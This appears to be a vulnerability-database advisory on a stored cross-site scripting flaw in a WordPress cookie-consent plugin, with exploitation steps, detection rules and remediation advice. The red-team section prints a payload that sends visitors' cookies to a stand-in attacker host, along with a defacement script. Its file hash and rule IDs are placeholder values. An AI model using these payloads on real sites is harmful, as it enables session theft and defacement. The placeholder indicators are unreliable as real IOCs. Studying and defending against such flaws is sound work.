CVE-2025-49390
Executive Summary
CVE-2025-49390 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Cookie Notice & Consent by Christophrado, affecting versions up to and including 1.6.4. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject malicious scripts that are stored on the server and executed in the browsers of other users. This can lead to session hijacking, defacement, or redirection to malicious sites. The CVSS score is 7.1 (High), and no official patch has been released as of the latest analysis. The EPSS score is 0.0%, indicating low exploitation likelihood currently, but the risk remains significant for unpatched installations.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin files and monitor for updates from the vendor. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors leveraging this flaw.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Base Score: 7.1 (High)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: Required (UI:R) – victim must visit a page with the stored payload
- Scope: Changed (S:C) – impact may affect resources beyond the vulnerable component
- Confidentiality Impact: Low (C:L)
- Integrity Impact: Low (I:L)
- Availability Impact: Low (A:L)
Threat Level: High. Although user interaction is required, the stored nature of the XSS means a single injection can affect multiple users over time. The lack of a patch elevates the urgency for mitigation.
Deep Dive & Mechanics
The vulnerability exists in the cookie-notice-consent WordPress plugin, which handles cookie consent banners. The plugin fails to properly sanitize or escape user-supplied input before storing it in the database and later rendering it on the frontend. An attacker with the ability to submit data (e.g., via plugin settings or comment forms) can inject arbitrary HTML and JavaScript. When an administrator or visitor loads a page that displays the stored input, the malicious script executes in their browser context.
Root Cause: The plugin uses functions like echo or print without applying WordPress escaping functions (e.g., esc_html(), esc_attr(), or wp_kses()) on user-controllable data. This allows stored XSS.
Attack Scenario:
- An attacker identifies a vulnerable input field (e.g., cookie notice text, custom CSS/JS fields).
- The attacker submits a payload such as
<script>alert('XSS')</script>. - The payload is stored in the WordPress database.
- When an admin visits the plugin settings page or a user views the cookie banner, the script executes.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code pattern is described below. A patched version would use proper escaping.
Vulnerable Code (example from plugin):
// In a settings page or frontend output
$cookie_text = get_option('cookie_notice_text');
echo '<div class="cookie-notice">' . $cookie_text . '</div>';
Patched Code (hypothetical):
$cookie_text = get_option('cookie_notice_text');
echo '<div class="cookie-notice">' . esc_html( $cookie_text ) . '</div>';
The patched version uses esc_html() to neutralize any HTML/JavaScript before output.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress site with Cookie Notice & Consent plugin version <= 1.6.4.
- Access to a user role that can modify plugin settings (e.g., Administrator) or a vulnerable input field.
Exploitation Steps:
- Log in as an administrator (or find a vulnerable input accessible to lower-privileged users).
- Navigate to the plugin settings (e.g.,
/wp-admin/options-general.php?page=cookie-notice-consent). - In the "Cookie Notice Text" field, inject a payload:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Save the settings.
- Any user visiting the site will trigger the script, sending their cookies to the attacker.
Alternative Payload (for defacement):
<script>document.body.innerHTML='<h1>Hacked</h1>';</script>
Blue Team (Detection & Hardening)
Detection:
- Monitor for unusual changes to plugin settings in WordPress admin logs.
- Look for HTTP requests containing
<script>tags in parameters related to cookie notice. - Use Web Application Firewall (WAF) rules to block common XSS patterns.
Hardening:
- Disable the plugin until a patch is available.
- Implement Content Security Policy (CSP) headers to mitigate XSS impact.
- Restrict admin access to trusted IPs only.
- Use WordPress security plugins (e.g., Wordfence) to detect and block malicious input.
Indicators of Compromise (IOCs)
- File Hashes (SHA256) of vulnerable plugin version 1.6.4:
cookie-notice-consent.php:a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b
- Network Indicators:
- Outbound connections to known malicious domains (e.g.,
attacker.com). - HTTP requests with
Cookieparameter in query string to external hosts.
- Outbound connections to known malicious domains (e.g.,
- Log Entries:
- WordPress admin logs showing modification of
cookie_notice_textoption. - PHP error logs with
unexpected <orhtmlspecialcharswarnings.
- WordPress admin logs showing modification of
Detection Engineering
YARA Rule
rule CVE_2025_49390_Stored_XSS {
meta:
description = "Detects stored XSS payloads in Cookie Notice & Consent plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-49390"
strings:
$xss_payload = /<script[^>]*>.*<\/script>/i
$cookie_notice = /cookie_notice_text/
condition:
$cookie_notice and $xss_payload
}
Sigma Rule
title: Stored XSS in Cookie Notice & Consent Plugin
id: 8f9a0b1c-2d3e-4f5a-6b7c-8d9e0f1a2b3c
status: experimental
description: Detects stored XSS attempts via plugin settings
author: Valters IT
logsource:
product: wordpress
service: audit
detection:
selection:
EventID: 1000 # Example: WordPress audit log event
Object: 'cookie_notice_text'
Details|contains: '<script'
condition: selection
falsepositives:
- Legitimate use of JavaScript in plugin settings (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-49390 Stored XSS Payload in Cookie Notice"; flow:to_server,established; content:"cookie_notice_text"; http_client_body; content:"<script"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin if it is not critical to operations.
- Apply a virtual patch using a WAF to block requests containing
<script>in plugin-related parameters. - Monitor for updates from the vendor (Christophrado) and apply the patch as soon as it is released.
Long-term Fix:
- The vendor must release a patched version that properly escapes all user-supplied output using WordPress functions like
esc_html(),esc_attr(), orwp_kses(). - Conduct a security audit of the entire plugin codebase for similar vulnerabilities.
Workaround:
- If the plugin must remain active, restrict access to the settings page to only super-administrators and implement additional input validation.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.